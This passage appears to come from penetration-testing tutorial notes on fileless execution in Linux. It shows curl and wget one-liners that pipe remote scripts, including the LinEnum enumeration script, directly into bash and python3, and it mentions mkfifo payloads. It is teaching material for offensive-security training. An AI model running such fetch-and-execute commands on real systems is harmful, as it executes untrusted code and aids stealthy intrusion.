Because of the way Linux works and how pipes operate, most of the tools we use in Linux can be used to replicate fileless operations, which means that we don't have to download a file to execute it.

<aside> 🗒️

Some payloads such as mkfifo write files to disk. Keep in mind that while the execution of the payload may be fileless when you use a pipe, depending on the payload chosen it may create temporary files on the OS.

</aside>

Fileless Download with cURL

Let's take the cURL command we used, and instead of downloading LinEnum.sh, let's execute it directly using a pipe.

curl <https://raw.githubusercontent.com/LinEnum.sh> | bash

Fileless Download with wget

Similarly, we can download a Python script file from a web server and pipe it into the Python binary. Let's do that, this time using wget.

wget -qO- <https://raw.githubusercontent.com/helloworld.py> | python3